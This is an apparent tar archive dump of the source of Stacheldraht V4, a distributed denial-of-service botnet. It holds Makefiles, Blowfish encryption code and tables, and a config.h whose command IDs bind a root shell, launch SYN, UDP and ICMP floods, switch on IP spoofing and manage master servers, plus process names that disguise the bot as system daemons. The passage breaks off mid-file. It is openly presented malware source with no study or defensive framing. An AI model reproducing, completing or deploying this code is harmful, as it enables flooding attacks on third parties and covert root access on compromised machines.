stacheldrahtV4/ 40755 0 0 0 7036475654 11740 5ustar rootrootstacheldrahtV4/Makefile100644 0 0 247 6770034003 13437 0ustar rootrootCC=gcc FLAGS= -lcrypt linux: ${CC} ${FLAGS} mserv.c blowfish.c -O6 -o mserv solaris: ${CC} ${FLAGS} mserv.c blowfish.c -o mserv -lnsl -lsocket -DWORDS_BIGENDIAN stacheldrahtV4/bf_tab.h100644 0 0 31660 6760670220 13436 0ustar rootroot/* bf_tab.h: Blowfish P-box and S-box tables */ #ifndef _H_TAB_BF #define _H_TAB_BF static UWORD_32bits initbf_P[bf_N + 2] = { 0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, 0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89, 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c, 0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917, 0x9216d5d9, 0x8979fb1b, }; static UWORD_32bits initbf_S[4][256] = { { 0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7, 0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99, 0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16, 0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e, 0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee, 0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013, 0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef, 0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e, 0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60, 0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440, 0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce, 0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a, 0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e, 0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677, 0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193, 0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032, 0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88, 0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239, 0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e, 0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0, 0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3, 0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98, 0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88, 0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe, 0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6, 0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d, 0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b, 0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7, 0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba, 0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463, 0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f, 0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09, 0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3, 0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb, 0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279, 0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8, 0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab, 0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82, 0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db, 0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573, 0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0, 0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b, 0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790, 0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8, 0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4, 0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0, 0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7, 0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c, 0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad, 0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1, 0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299, 0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9, 0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477, 0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf, 0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49, 0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af, 0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa, 0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5, 0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41, 0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915, 0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400, 0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915, 0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664, 0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a }, { 0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623, 0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266, 0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1, 0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e, 0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6, 0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1, 0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e, 0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1, 0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737, 0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8, 0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff, 0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd, 0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701, 0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7, 0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41, 0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331, 0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf, 0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af, 0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e, 0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87, 0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c, 0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2, 0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16, 0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd, 0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b, 0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509, 0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e, 0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3, 0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f, 0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a, 0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4, 0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960, 0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66, 0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28, 0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802, 0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84, 0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510, 0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf, 0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14, 0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e, 0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50, 0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7, 0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8, 0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281, 0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99, 0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696, 0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128, 0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73, 0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0, 0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0, 0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105, 0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250, 0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3, 0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285, 0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00, 0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061, 0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb, 0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e, 0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735, 0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc, 0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9, 0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340, 0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20, 0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7 }, { 0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934, 0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068, 0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af, 0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840, 0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45, 0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504, 0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a, 0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb, 0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee, 0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6, 0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42, 0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b, 0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2, 0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb, 0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527, 0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b, 0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33, 0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c, 0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3, 0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc, 0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17, 0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564, 0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b, 0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115, 0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922, 0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728, 0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0, 0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e, 0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37, 0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d, 0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804, 0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b, 0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3, 0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb, 0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d, 0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c, 0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350, 0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9, 0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a, 0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe, 0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d, 0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc, 0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f, 0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61, 0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2, 0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9, 0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2, 0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c, 0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e, 0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633, 0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10, 0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169, 0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52, 0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027, 0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5, 0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62, 0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634, 0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76, 0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24, 0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc, 0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4, 0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c, 0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837, 0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0 }, { 0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b, 0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe, 0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b, 0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4, 0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8, 0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6, 0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304, 0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22, 0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4, 0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6, 0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9, 0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59, 0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593, 0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51, 0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28, 0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c, 0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b, 0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28, 0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c, 0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd, 0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a, 0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319, 0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb, 0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f, 0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991, 0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32, 0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680, 0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166, 0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae, 0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb, 0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5, 0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47, 0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370, 0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d, 0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84, 0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048, 0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8, 0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd, 0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9, 0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7, 0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38, 0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f, 0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c, 0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525, 0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1, 0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442, 0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964, 0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e, 0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8, 0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d, 0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f, 0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299, 0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02, 0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc, 0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614, 0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a, 0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6, 0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b, 0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0, 0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060, 0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e, 0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9, 0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f, 0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6 } }; #endif stacheldrahtV4/blowfish.c100644 0 0 14705 6760670220 14032 0ustar rootroot#include "blowfish.h" #include "bf_tab.h" #include #define BOXES 3 /* #define S(x,i) (bf_S[i][x.w.byte##i]) */ #define S0(x) (bf_S[0][x.w.byte0]) #define S1(x) (bf_S[1][x.w.byte1]) #define S2(x) (bf_S[2][x.w.byte2]) #define S3(x) (bf_S[3][x.w.byte3]) #define bf_F(x) (((S0(x) + S1(x)) ^ S2(x)) + S3(x)) #define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n]) struct box_t { UWORD_32bits *P; UWORD_32bits **S; char key[81]; char keybytes; } box[BOXES]; UWORD_32bits *bf_P; UWORD_32bits **bf_S; void blowfish_encipher (UWORD_32bits * xl, UWORD_32bits * xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[0]; ROUND(Xr, Xl, 1); ROUND(Xl, Xr, 2); ROUND(Xr, Xl, 3); ROUND(Xl, Xr, 4); ROUND(Xr, Xl, 5); ROUND(Xl, Xr, 6); ROUND(Xr, Xl, 7); ROUND(Xl, Xr, 8); ROUND(Xr, Xl, 9); ROUND(Xl, Xr, 10); ROUND(Xr, Xl, 11); ROUND(Xl, Xr, 12); ROUND(Xr, Xl, 13); ROUND(Xl, Xr, 14); ROUND(Xr, Xl, 15); ROUND(Xl, Xr, 16); Xr.word ^= bf_P[17]; *xr = Xl.word; *xl = Xr.word; } void blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[17]; ROUND(Xr, Xl, 16); ROUND(Xl, Xr, 15); ROUND(Xr, Xl, 14); ROUND(Xl, Xr, 13); ROUND(Xr, Xl, 12); ROUND(Xl, Xr, 11); ROUND(Xr, Xl, 10); ROUND(Xl, Xr, 9); ROUND(Xr, Xl, 8); ROUND(Xl, Xr, 7); ROUND(Xr, Xl, 6); ROUND(Xl, Xr, 5); ROUND(Xr, Xl, 4); ROUND(Xl, Xr, 3); ROUND(Xr, Xl, 2); ROUND(Xl, Xr, 1); Xr.word ^= bf_P[0]; *xl = Xr.word; *xr = Xl.word; } void blowfish_init (UBYTE_08bits * key, short keybytes, int bxtouse) { int i, j, bx; // time_t lowest; UWORD_32bits data; UWORD_32bits datal; UWORD_32bits datar; union aword temp; for (i = 0; i < BOXES; i++) if (box[i].P != NULL) { if ((box[i].keybytes == keybytes) && (strncmp((char *) (box[i].key), (char *) key, keybytes) == 0)) { bf_P = box[i].P; bf_S = box[i].S; return; } } bx = (-1); for (i = 0; i < BOXES; i++) { if (box[i].P == NULL) { bx = i; i = BOXES + 1; } } if (bx < 0) { bx = bxtouse; free(box[bx].P); for (i = 0; i < 4; i++) free(box[bx].S[i]); free(box[bx].S); } box[bx].P = (UWORD_32bits *) malloc((bf_N + 2) * sizeof(UWORD_32bits)); box[bx].S = (UWORD_32bits **) malloc(4 * sizeof(UWORD_32bits *)); for (i = 0; i < 4; i++) box[bx].S[i] = (UWORD_32bits *) malloc(256 * sizeof(UWORD_32bits)); bf_P = box[bx].P; bf_S = box[bx].S; box[bx].keybytes = keybytes; strncpy(box[bx].key, key, keybytes); for (i = 0; i < bf_N + 2; i++) bf_P[i] = initbf_P[i]; for (i = 0; i < 4; i++) for (j = 0; j < 256; j++) bf_S[i][j] = initbf_S[i][j]; j = 0; for (i = 0; i < bf_N + 2; ++i) { temp.word = 0; temp.w.byte0 = key[j]; temp.w.byte1 = key[(j + 1) % keybytes]; temp.w.byte2 = key[(j + 2) % keybytes]; temp.w.byte3 = key[(j + 3) % keybytes]; data = temp.word; bf_P[i] = bf_P[i] ^ data; j = (j + 4) % keybytes; } datal = 0x00000000; datar = 0x00000000; for (i = 0; i < bf_N + 2; i += 2) { blowfish_encipher(&datal, &datar); bf_P[i] = datal; bf_P[i + 1] = datar; } for (i = 0; i < 4; ++i) { for (j = 0; j < 256; j += 2) { blowfish_encipher(&datal, &datar); bf_S[i][j] = datal; bf_S[i][j + 1] = datar; } } } #define SALT1 0xdeadd061 #define SALT2 0x23f6b095 char *base64 = "./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int base64dec (char c) { int i; for (i = 0; i < 64; i++) if (base64[i] == c) return i; return 0; } char *encrypt_string2 (char *key, char *str,int sizi) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; int countilein; dest = malloc((sizi + 9) * 2); s = (char *) malloc(sizi + 9); printf("huhu\n"); memcpy(s, str,sizi); countilein=0; p = s; /* while (countilein < sizi) p++;*/ p=p+sizi; /* for (i = 0; i < 8; i++) *p++ = 0; */ blowfish_init(key, strlen(key), 0); p = s; d = dest; d = dest; while (countilein < sizi) { countilein++; left = ((*p++) << 24); left += ((*p++) << 16); left += ((*p++) << 8); left += (*p++); right = ((*p++) << 24); right += ((*p++) << 16); right += ((*p++) << 8); right += (*p++); blowfish_encipher(&left, &right); for (i = 0; i < 6; i++) { *d++ = base64[right & 0x3f]; right = (right >> 6); } for (i = 0; i < 6; i++) { *d++ = base64[left & 0x3f]; left = (left >> 6); } } *d = 0; free(s); return dest; } char *encrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc((strlen(str) + 9) * 2); s = (char *) malloc(strlen(str) + 9); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 8; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { left = ((*p++) << 24); left += ((*p++) << 16); left += ((*p++) << 8); left += (*p++); right = ((*p++) << 24); right += ((*p++) << 16); right += ((*p++) << 8); right += (*p++); blowfish_encipher(&left, &right); for (i = 0; i < 6; i++) { *d++ = base64[right & 0x3f]; right = (right >> 6); } for (i = 0; i < 6; i++) { *d++ = base64[left & 0x3f]; left = (left >> 6); } } *d = 0; free(s); return dest; } char *decrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc(strlen(str) + 12); s = (char *) malloc(strlen(str) + 12); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 12; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { right = 0L; left = 0L; for (i = 0; i < 6; i++) right |= (base64dec(*p++)) << (i * 6); for (i = 0; i < 6; i++) left |= (base64dec(*p++)) << (i * 6); blowfish_decipher(&left, &right); for (i = 0; i < 4; i++) *d++ = (left & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); for (i = 0; i < 4; i++) *d++ = (right & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); } *d = 0; free(s); return dest; } stacheldrahtV4/blowfish.h100644 0 0 2413 6760670220 14010 0ustar rootroot/* modified 19jul96 by robey -- uses autoconf values now */ #ifndef _H_BLOWFISH #define _H_BLOWFISH #include #include #include #define MAXKEYBYTES 56 /* 448 bits */ #define bf_N 16 #define noErr 0 #define DATAERROR -1 #define KEYBYTES 8 #define UBYTE_08bits unsigned char #define UWORD_16bits unsigned short #define nmalloc(x) n_malloc((x),__FILE__,__LINE__) /* dAS lEETo rIP fROm eggdrop.h */ /* FUCK THE AUTOCONF :D */ #define SIZEOF_INT 4 #define SIZEOF_LONG 4 #if SIZEOF_INT==4 # define UWORD_32bits unsigned int #else # if SIZEOF_LONG==4 # define UWORD_32bits unsigned long # endif #endif /* choose a byte order for your hardware */ #ifdef WORDS_BIGENDIAN /* ABCD - big endian - motorola */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte0:8; unsigned int byte1:8; unsigned int byte2:8; unsigned int byte3:8; } w; }; #endif /* WORDS_BIGENDIAN */ #ifndef WORDS_BIGENDIAN /* DCBA - little endian - intel */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte3:8; unsigned int byte2:8; unsigned int byte1:8; unsigned int byte0:8; } w; }; #endif /* !WORDS_BIGENDIAN */ #endif stacheldrahtV4/config.h100644 0 0 2374 7047032574 13451 0ustar rootroot#ifndef _CONFIG_H /* user defined values for the teletubby flood network */ #define HIDEME "(kswapd)" #define HIDEKIDS "httpd" #define CHILDS 10 /* These are like passwords, you might want to change them */ #define ID_SHELL 88 /* to bind a rootshell */ #define ID_ADDR 616 /* ip add request for the flood server */ #define ID_SETPRANGE 8008 /* set port range for synflood */ #define ID_SETUSIZE 8009 /* set udp size */ #define ID_SETISIZE 9010 /* set icmp size */ #define ID_TIMESET 9011 /* set the flood time */ #define ID_DIEREQ 6663 /* shutdown request of the masterserver */ #define ID_DISTROIT 6662 /* distro request of the master server */ #define ID_REMMSERVER 5501 /* remove added masterserver */ #define ID_ADDMSERVER 5555 /* add new masterserver request */ #define SPOOF_REPLY 1016 /* spoof test reply of the master server #define ID_TEST 6268 /* test of the master server */ #define ID_ICMP 1155 /* to icmp flood */ #define ID_SENDUDP 6 /* to udp flood */ #define ID_SENDSYN 9 /* to syn flood */ #define ID_SYNPORT 8 /* to set port */ #define ID_STOPIT 3 /* to stop flooding */ #define ID_SWITCH 5 /* to switch spoofing mode */ #define ID_ACK 4 /* for replies to the client */ #define _CONFIG_H #endif stacheldrahtV4/leaf/ 40755 0 0 0 7002273521 12625 5ustar rootrootstacheldrahtV4/leaf/Makefile100644 0 0 422 6756426063 14360 0ustar rootroot# Tribe Flood Network Makefile # 1999 by Mixter - PRIVATE CC=gcc FLAGS=-O6 -fomit-frame-pointer -s linux: ${CC} ${FLAGS} td.c 